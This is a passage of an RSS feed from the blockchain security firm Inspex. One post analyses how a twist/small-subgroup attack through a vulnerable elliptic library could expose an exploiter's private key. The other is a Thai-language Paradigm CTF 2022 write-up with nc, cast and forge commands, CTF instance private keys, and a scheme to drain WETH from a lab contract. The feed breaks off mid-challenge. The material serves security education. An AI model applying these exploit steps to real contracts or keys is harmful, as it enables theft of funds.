<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Inspex on Medium]]></title>
        <description><![CDATA[Stories by Inspex on Medium]]></description>
        <link>https://medium.com/@inspexco?source=rss-587fa599ef08------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ld_GbMNLqX5-kB1gLSuCtg.png</url>
            <title>Stories by Inspex on Medium</title>
            <link>https://medium.com/@inspexco?source=rss-587fa599ef08------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 07:58:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@inspexco/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A secret secure(?) communication channel for Ronin Bridge Exploiter and Euler Finance Exploiter]]></title>
            <link>https://inspexco.medium.com/a-secret-secure-communication-channel-for-ronin-bridge-exploiter-and-euler-finance-exploiter-f67f51fd16b6?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/f67f51fd16b6</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[ronin-bridge]]></category>
            <category><![CDATA[euler-finance]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Wed, 22 Mar 2023 17:05:21 GMT</pubDate>
            <atom:updated>2023-03-23T05:54:36.252Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2SmGs1QuOxkEfcH5yN_cg.png" /></figure><h3>Background</h3><p>On Mar-21–2023 05:02:23 PM +UTC, Ronin Bridge Exploiter sent a message to Euler Finance Exploiter 2 at Ethereum chain: <a href="https://etherscan.io/tx/0xcf0b3487dc443f1ef92b4fe27ff7f89e07588cdc0e2b37d50adb8158c697cea6">https://etherscan.io/tx/0xcf0b3487dc443f1ef92b4fe27ff7f89e07588cdc0e2b37d50adb8158c697cea6</a></p><pre>Decrypt with the private key of 0xb66cd966670d962c227b3eaba30a872dbfb995db (https://github.com/LimelabsTech/eth-ecies).<br>bKsKXCYxBlQjY2opFlBVGQQrnjzy67s6xFc/+GIVX9YeGakmzz/EXsNZlAUhF37Q8RjVBn3DRVJP94ncxGS+j1wu5dLo4RRXrKSIrZzceoqVZ2pvsx02Pyl3K5SW3Yf/nzt96To3KOxN5sQqJZkfH6+RWwc+KoTAmomW1FNVWhlwV9UqKuuLwEo5heFmSFgBSJYNztvAEzZ/8Ra1BWu9P1OzBbmx67W0/2DdDMAK31tX</pre><p>The message suggests that there is an encrypted message that has been encrypted using the “Elliptic Curve Integrated Encryption Scheme”. This implies that the public key of the Ethereum address 0xb66cd966670d962c227b3eaba30a872dbfb995db is used to derive the sharing secret for encrypting the message, so only the individual with the private key of the Ethereum address 0xb66cd966670d962c227b3eaba30a872dbfb995db will be able to read the encrypted message.</p><p>In addition, Ronin Bridge Exploiter has recommended the decryption tool for Euler Finance Exploiter 2, which is eth-ecies (<a href="https://github.com/LimelabsTech/eth-ecies">https://github.com/LimelabsTech/eth-ecies</a>).</p><p>However, a Twitter user has raised a concern about the tool’s security (<a href="https://twitter.com/hudsonjameson/status/1638240083496038409">https://twitter.com/hudsonjameson/status/1638240083496038409</a>). They have pointed out that the provided tool may be vulnerable due to its use of a vulnerable dependency, which is the elliptic package (<a href="https://security.snyk.io/package/npm/elliptic">https://security.snyk.io/package/npm/elliptic</a>) with a version 6.4.0, so<br>Ronin Bridge Exploiter might try to hack Euler Finance Exploiter 2 (<a href="https://twitter.com/officer_cia/status/1638235897438019607">https://twitter.com/officer_cia/status/1638235897438019607</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pwYwCq7Osj5c5VpB.png" /><figcaption>eth-ecies/package-lock.json</figcaption></figure><p>Thereby, let’s unravel the question: is it possible to derive the private key from Euler Finance Exploiter 2 by just simply encrypting and decrypting the message?</p><h3>Investigation</h3><p>Inspex research team starts to investigate by identifying the issue with the tools that use the elliptic library and finds out that there are actually 3 issues with the elliptic version 6.4.0 (<a href="https://security.snyk.io/package/npm/elliptic">https://security.snyk.io/package/npm/elliptic</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xpzTA8kVmXiONDMD.png" /><figcaption>npm-eliptic</figcaption></figure><p>The issue mentioned is <a href="https://security.snyk.io/vuln/SNYK-JS-ELLIPTIC-1064899">https://security.snyk.io/vuln/SNYK-JS-ELLIPTIC-1064899</a>. The detail is that there is no check to confirm whether the public key point passed into the derive function actually exists on the secp256k1 curve. This creates a potential scenario where the private key used in this implementation can be revealed after a number of Elliptic Curve Diffie-Hellman (ECDH) operations have been performed, also known as a “Twist attack”.</p><p>By allowing the use of points outside secp256k1 curve as a public key, the encryption strength of the communication will not be at the same level as when using the secp256k1 curve. This means the Euler Finance Exploiter 2 might have the private key stolen if they use the vulnerable tool to encrypt the messages and communicate with the Ronin Bridge Exploiter.</p><h3>What happened inside?</h3><p>A well-written document for “Twist attack” can be accessed at: <a href="https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md">https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md</a>,</p><p>Let’s read the simplified information before going to the attack scenario:</p><h4>Public Key and Private Key on Elliptic curve</h4><pre>Given,<br>G = A generator point on an elliptic curve<br>a = Alice&#39;s private key<br>A = Alice&#39;s public key which derives from A = a*G<br>b = Bob&#39;s private key<br>B = Bob&#39;s public key which derives from B = b*G</pre><p>To communicate with encrypted messages, they will have to know the sharing secret to encrypt or decrypt the message. So, one way to exchange the key is by using the Diffe-Hellman algorithm. When the communication between Ronin Bridge Exploiter and Euler Finance Exploiter 2 occurs, the internal encryption and decryption will be as follows:</p><h4>Exchanging Sharing Secret (Diffie-Hellman)</h4><p>Alice takes Bob’s public key (B) and computes the point S (sharing secrets).</p><pre>S = a*B = a*bG<br>cipherText = encrypt(S, &#39;text&#39;)</pre><p>Bob takes Alice’s public key (A) and computes the point</p><pre>b*A = b*a*G = a*b*G = a*B = S</pre><p>Now Bob has the same point as Alice (S), so they can use S to decrypt the cipher text.</p><pre>plainText = decrypt(S, cipherText)</pre><h4>Small subgroup attack</h4><p>With the points on the elliptic curve as a group structure,</p><pre>E = corresponding group of the elliptic curve (thinking of it as possible integer values on a formula y^2 = x^3 + Ax + B)<br>H = a subgroup of E with a few elements (a smaller collection of points from the group)<br>order number of a group = number of elements of a group.</pre><p>Let’s say Alice wants to know Bob’s private key. Alice picks the point P in the subgroup H with a very small number of elements (weak encryption strength).</p><pre>share secret (S) = b*P<br>cipherText (C) = encrypt(S, &#39;response text&#39;)</pre><p>Since Alice knows that the point S is in the subgroup H, she can attempt to brute-force decrypt the message C with the points P.</p><pre>P, 2*P, 3*P, 4*P, ...</pre><p>Suppose the decryption succeeds with the value k*P. She then knows that S = k*P (mod q) and also S = b*P (mod p), so Alice has now learned that k = b mod q, where q is the order number of the subgroup H (i.e., the number of elements in H). Since b is a number under modulo p, the value k that we’ve got is just a fraction of the information in the original b.</p><p>Repeating this by changing the point P to another point from another subgroup would give Alice enough information for the private key if the product of the processed group number is larger than the key size. The private key can then be derived by applying the Chinese Remainder Theorem.</p><h3>Result</h3><p>It is possible that the Ronin Bridge Exploiter can obtain Euler Finance Exploiter 2’s private key by using the vulnerable tool. Also, the Euler Finance Exploiter 2 must use their private key to create the sharing secret, as shown in the simplified example below:</p><ol><li>The Ronin Bridge Exploiter sends their new public key, which is a point that exists on an elliptic curve that has lower encryption strength, instead of their public key on the secp256k1 curve.</li><li>The Euler Finance Exploiter derives the shared secret from the sent public key with their private key.<br>2.1. Euler Finance Exploiter must reply back to Ronin Bridge Exploiter by using the same shared secret to encrypt a message.<br>2.2 If Euler Finance Exploiter does not use thier real private key to create another sharing secret, the attack will be futile.</li><li>The Ronin Bridge Exploiter provides the new existing point on another subgroup or from another elliptic curve as a public key for the new communication.</li><li>The Ronin Bridge Exploiter calculates a fraction of the information in the private key (k) from each replied message.</li><li>Repeat steps 2–4 until the product of the order number and the calculated subgroup exceeds the key size.</li></ol><p>Hence, to prevent this kind of attack,</p><ul><li>When encrypting a message with a particular public key, a user should verify that the given public key (point) is on the correct curve, in this case the secp256k1 curve.</li><li><strong><em>Don’t use a tool from a stranger, espcially an attacker</em></strong>. Use the latest version of tools.</li></ul><h3>About Inspex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*CEN1EZ1mC34oVqdc.png" /></figure><p>Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.</p><p>For any business inquiries, please contact us via <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f67f51fd16b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[TH] Paradigm CTF 2022 Writeup]]></title>
            <link>https://inspexco.medium.com/th-paradigm-ctf-2022-writeup-ae7b6a86fcec?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae7b6a86fcec</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[paradigm-ctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Wed, 31 Aug 2022 03:32:24 GMT</pubDate>
            <atom:updated>2022-08-31T05:52:02.035Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P66O6qMoHUDkiKgWk944Sw.jpeg" /></figure><blockquote><strong>For English version, please visit:</strong> <a href="https://inspexco.medium.com/paradigm-ctf-2022-writeup-2ce290cd9287">https://inspexco.medium.com/paradigm-ctf-2022-writeup-2ce290cd9287</a></blockquote><p>ทีมงานของ Inspex ได้เข้าร่วมการแข่งขัน Paradigm CTF 2022 ในชื่อทีม <strong>_C0FFEE</strong> และคว้าอันดับที่ 15 ของโลกจากผู้เข้าแข่งขันทั้งหมด 445 ทีม ด้วยคะแนนรวม 2,465.1 คะแนน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6sdUMcZSlPmvO1Iy.png" /></figure><p>โจทย์ในครั้งนี้ค่อนข้างหลากหลาย มีทั้งโจทย์ที่เป็น EVM, Solana, และ Cairo ซึ่งกำลังเป็นที่นิยมอยู่ในปัจจุบัน โดยทางทีมสามารถแก้โจทย์ได้ทั้งสิ้น 11 ข้อดังนี้:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/0*PD1RrIQMu8Fp4RvS.png" /></figure><h4>· <a href="#03c9">EVM</a></h4><p>∘ <a href="#9cbb">RANDOM</a><br> ∘ <a href="#9aa4">RESCUE</a><br> ∘ <a href="#b670">SOURCECODE</a><br> ∘ <a href="#dc16">TRAPDOOOR</a><br> ∘ <a href="#fd6d">MERKLEDROP</a></p><h4>· <a href="#c404">Solana</a></h4><p>∘ <a href="#1146">OTTER-WORLD</a><br> ∘ <a href="#3b87">SOLHANA-1</a><br> ∘ <a href="#acd9">SOLHANA-2</a> (Solved Locally)</p><h4>· <a href="#7187">Cairo</a></h4><p>∘ <a href="#2c60">RIDDLE-OF-THE-SPHINX</a><br> ∘ <a href="#0808">CAIRO-PROXY</a><br> ∘ <a href="#b32c">CAIRO-AUCTION</a></p><p>สามารถดู write-up ของโจทย์แต่ละข้อที่ทางทีมแก้ได้ด้านล่างเลยครับ</p><h3>EVM</h3><h4>RANDOM</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/0*RiPCTR_KQ4uWc4ER.png" /></figure><p><strong>CHALLENGE:</strong> RANDOM<br><strong>AUTHOR:</strong> Riley Holterhus<br><strong>TAGS:</strong> SANITY CHECK<br><strong>DESCRIPTION:</strong> I’m thinking of a number between 4 and 4<br><strong>ACCESS:</strong> nc 34.66.135.107 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/random.zip">https://ctf.paradigm.xyz/resources/random.zip</a></p><p>สำหรับโจทย์ข้อนี้ เป็นโจทย์เบื้องต้นสำหรับ EVM โดยมีการให้ไฟล์มาอยู่ 2 contract ดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*rzB_AEeW7lwSBoE7.png" /><figcaption><strong>Setup.sol</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hMRF0rj3xSXcdOBa.png" /><figcaption><strong>Random.sol</strong></figcaption></figure><p>จากที่เห็นใน Setup contract ว่าตัวแปร solved ใน Random contract ต้องถูกเปลี่ยนให้เป็น true โดยวิธีการเปลี่ยนสามารถทำได้โดยการเรียก function solve() โดยส่ง parameter ที่มีค่าเหมือนกับผลลัพธ์ของ function _getRandomNumber() หรือก็คือ 4</p><pre>$ nc 34.66.135.107 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           5a0028b7-3585-40ad-a5d8-7a7d98e8c713<br>rpc endpoint:   http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713<br>private key:    0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa<br>setup contract: 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502</pre><p>จากการเชื่อมต่อไปที่ server ของโจทย์ เราจะได้รับ RPC URL, private key, และ address ของ Setup contract</p><p>ในการผ่านข้อนี้ เราจะต้องมี address ของ Random contract ที่สามารถหาได้จากการเรียก random() function ของ Setup contract โดยใช้ cast ดังนี้:</p><pre>$ cast call --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502 &quot;random()&quot;<br>0x00000000000000000000000031a91af1e135324f344f96757703aa11ff214e51</pre><p>จาก output จะพบว่า Random contract อยู่ที่ address 0x31a91af1e135324f344f96757703aa11ff214e51 จากนั้นเราจะสามารถเรียก solve() function เพื่อผ่านโจทย์ข้อนี้</p><pre>$ cast send --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 --private-key 0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa 0x31a91af1e135324f344f96757703aa11ff214e51 &quot;solve(uint256)&quot; 4</pre><p>เมื่อ transaction ถูกส่งไปเรียบร้อย เราสามารถไปที่ server อีกครั้งเพื่อเอา flag มาได้เลย</p><pre>$ nc 34.66.135.107 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3<br>PCTF{IT5_C7F_71M3}</pre><p><strong>Flag:</strong> PCTF{IT5_C7F_71M3}</p><h4>RESCUE</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MzaRBN9m2F9jvv1C.png" /></figure><p><strong>CHALLENGE:</strong> RESCUE<br><strong>AUTHOR:</strong> Riley Holterhus<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> I accidentally sent some WETH to a contract, can you help me?<br><strong>ACCESS:</strong> nc 34.123.187.206 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/rescue.zip">https://ctf.paradigm.xyz/resources/rescue.zip</a></p><p>จาก Setup contract จะเห็นว่า 10 $WETH ถูกส่งให้ MasterChefHelper contract ใน constructor โดยเป้าหมายของโจทย์ข้อนี้คือการทำให้ จำนวน $WETH ใน MasterChefHelper contract เป็น 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bXKwX2c4wxAcAHu_.png" /><figcaption><strong>Setup.sol</strong></figcaption></figure><p>MasterChefHelper contract มี function swapTokenForPoolToken() ที่จะรับเหรียญไปแบ่งครึ่งและ swap แต่ละกองเป็นแต่ละ token จากนั้นจึงนำ token เหล่านั้นมาเพิ่มเป็น liquidity</p><p>เราจะเห็นว่าเมื่อ function _addLiquidity() นั้นถูกเรียก มันจะส่ง token ทั้งสองไปเท่าจำนวนทั้งหมดที่ MasterChefHelper contract ถืออยู่เพื่อคำนวณจำนวน LP ที่จะได้รับ ดังนั้นเราสามารถใช้กระบวนการเพิ่ม liquidity นี้โดยให้ token ฝั่งนึงเป็น $WETH ก็จะสามารถดึง $WETH ที่ติดใน contract มาใช้งานได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YApT3rVhuRbEZWXz.png" /><figcaption><strong>MasterChefHelper.sol</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cHVhMq9zhHCo-bxV.png" /><figcaption><strong>UniswapV2Like.sol</strong></figcaption></figure><p>อย่างไรก็ตามในการ swap token ตั้งต้นให้เป็น 2 token จะยังมีเงื่อนไขที่ต้องคำนึงถึงอยู่ดังนี้:</p><ol><li>หนึ่งใน 2 token ปลายทางจะต้องเป็น $WETH เพื่อจะดึง $WETH ที่ค้างอยู่</li><li>ชนิดของ tokenIn จะต้องเป็น token อื่นนอกเหนือจาก 2 token ปลายทางเพราะ router ไม่รองรับการ swap เป็น token เดียวกัน</li><li>จะต้องมี liquidity เพียงพอต่อการ swap ทั้งจาก tokenIn เป็น tokenOut0 และจาก tokenIn เป็น tokenOut1</li></ol><p>เพื่อหาค่า tokenIn และ poolId ที่ต้องการ เราจึงสร้าง instance และทำการเขียน web3 script เพื่อดึงข้อมูลแต่ละ pool ที่มีอยู่ออกมา</p><pre>$ nc 34.66.135.107 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           b1dcfc76-608d-43df-873f-5a8051100d7c<br>rpc endpoint:   http://34.66.135.107:8545/b1dcfc76-608d-43df-873f-5a8051100d7c<br>private key:    0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad<br>setup contract: 0x3982455E39F78c850AB5E80D81Ce41aa5B3CE6C7</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RNjEJCZcY51s7RrA.png" /><figcaption><strong>fetchPools.js</strong></figcaption></figure><p>ผลลัพธ์จากการรัน script ข้างต้นได้ดังนี้</p><pre>0 0x06da0fd433C1A5d7a4faa01111c044910A184553 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xdAC17F958D2ee523a2206206994597C13D831ec7<br>1 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>2 0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f 0x6B175474E89094C44Da98b954EedeAC495271d0F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>3 0xF1F85b2C54a2bD284B1cf4141D64fD171Bd85539 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>4 0x31503dcb60119A812feE820bb7042752019F2355 0xc00e94Cb662C3520282E6f5717214004A7f26888 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>5 0x5E63360E891BD60C69445970256C260b0A6A54c6 0x80fB784B7eD66730e8b1DBd9820aFD29931aab03 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>6 0xA1d7b2d891e3A1f9ef4bBC5be20630C2FEB1c470 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>7 0x001b6450083E531A5a7Bf310BD2c1Af4247E23D4 0x04Fa0d235C4abf4BcF4787aF4CF447DE572eF828 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>8 0xC40D16476380e4037e6b1A2594cAF6a6cc8Da967 0x514910771AF9Ca656af840dff83E8264EcF986CA 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>9 0xA75F7c2F025f470355515482BdE9EFA8153536A8 0xBA11D00c5f74255f56a5E366F4F77f5A186d7f55 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>10 0xCb2286d9471cc185281c4f763d34A962ED212962 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD46bA6D942050d489DBd938a2C909A5d5039A161<br>11 0x088ee5007C98a9677165D78dD2109AE4a3D04d0C 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>12 0x795065dCc9f64b5614C407a6EFDC400DA6221FB0 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>13 0x611CDe65deA90918c0078ac0400A72B0D25B9bb1 0x408e41876cCCDC0F92210600ef50372656052a38 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>14 0xaAD22f5543FCDaA694B68f94Be177B561836AE57 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0x68A118Ef45063051Eac49c7e647CE5Ace48a68a5<br>15 0x117d4288B3635021a3D612FE05a3Cbf5C717fEf2 0x476c5E26a75bd202a9683ffD34359C0CC15be0fF 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>16 0x95b54C8Da12BB23F7A5F6E26C38D04aCC6F81820 0xAba8cAc6866B83Ae4eec97DD07ED254282f6aD8A 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>17 0x58Dc5a51fE44589BEb22E8CE67720B5BC5378009 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD533a949740bb3306d119CC777fa900bA034cd52<br>18 0xDafd66636E2561b0284EDdE37e42d192F2844D40 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>19 0x36e2FCCCc59e5747Ff63a03ea2e5C0c2C14911e7 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>20 0x0Cfe7968e7c34A51217a7C9b9dc1690F416E027e 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643 0x6B175474E89094C44Da98b954EedeAC495271d0F<br>21 0xCEfF51756c56CeFFCA006cD410B03FFC46dd3a58 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>22 0xf169CeA51EB51774cF107c88309717ddA20be167 0x2ba592F78dB6436527729929AAf6c908497cB200 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>23 0x17b3C19Bd640a59E832AB73eCcF716CB47419846 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD5525D397898e5502075Ea5E830d8914f6F0affe<br>24 0xFcff3b04C499A57778ae2CF05584ab24278A7FCb 0x0d438F3b5175Bebc262bF23753C1E53d03432bDE 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>25 0x382c4a5147Fd4090F7BE3A9Ff398F95638F5D39E 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>26 0x2024324a99231509a3715172d4F4f4E751b38d4d 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c<br>27 0x0be88ac4b5C81700acF3a606a52a31C261a24A35 0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>28 0x518d6CE2D7A689A591Bf46433443C31615b206C5 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D</pre><p>พบว่า token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c สามารถ swap เป็น $WETH (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) ได้ ผ่าน pool id 25, และยังสามารถ swap เป็น token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 ผ่าน pool id 26.</p><p>แล้วยังพบว่า pool id 21 นั้นเป็นคู่ token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 และ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2</p><p>ตัว token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c นั้นสามารถเป็น tokenIn ได้ตรงตามที่ต้องการ โดยจะใช้ ค่า poolId เป็น 21</p><p>เพื่อจะนำ $WETH ทั้งหมดออกจาก MasterChefHelper contract นั้น ก่อนที่ function _addLiquidity() จะถูกเรียก เราจะต้องทำให้ contract มีจำนวน token เป็นอัตราส่วนเดียวกับ liquidity pool หรือจะให้มีสัดส่วนของ token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 มากกว่า เพื่อให้ $WETH ทั้งหมดถูกส่งไป liquidity pool</p><p>ดังนั้นเราจึงเขียน contract เพื่อช่วยในการทำขั้นตอนเหล่านี้</p><ol><li>ฝาก 11 $ETH เพื่อรับ 11$WETH</li><li>ซื้อ token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c ด้วย 0.1 $WETH</li><li>ซื้อ token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 ด้วย 10.9 $WETH</li><li>ส่ง token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 ไปที่ MasterChefHelper contract เพื่อเพิ่มอัตราส่วนของ token ให้มากขึ้น</li><li>เรียก function swapTokenForPoolToken() ใน MasterChefHelper contract</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I9xiHWJm4SH1bZnE.png" /><figcaption><strong>Solve.sol</strong></figcaption></figure><p>ใช้ forge เพื่อ deploy contract</p><pre>$ forge create --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad rescue/public/contracts/Solve.sol:Solve --json<br>{&quot;deployedTo&quot;:&quot;0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C&quot;,&quot;deployer&quot;:&quot;0x2d60598B659634B1337d3757928800d796F43896&quot;,&quot;transactionHash&quot;:&quot;0x63c96471ddfd7daa0846e328222b721562185bd230ba290e9f3068fd5369e2cc&quot;}</pre><p>ส่ง 11 $ETH ไปให้ contract ที่ deploy แล้วเรียก function solve()</p><pre>$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C --value 11000000000000000000</pre><pre>$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C &quot;solve()&quot;</pre><p>จากนั้นเชื่อมต่อไปยัง server เพื่อรับ flag</p><pre>$ nc 34.66.135.107 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3<br>PCTF{MuCH_4PPr3C1473_53r}</pre><p><strong>Flag:</strong> PCTF{MuCH_4PPr3C1473_53r}</p><h4>SOURCECODE</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*NXWdkcsTEgeEb9i-.png" /></figure><p><strong>CHALLENGE:</strong> SOURCECODE<br><strong>DESCRIPTION:</strong> Fixed point EVM bytecode<br><strong>ACCESS:</strong> nc 34.136.156.228 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/sourcecode.zip">https://ctf.paradigm.xyz/resources/sourcecode.zip</a></p><p>สำหรับข้อนี้ เราจะต้องเขียน smart contract ที่ส่ง output ออกมาเป็น bytecode ของ smart contract นั้นเอง โดยห้ามใช้ 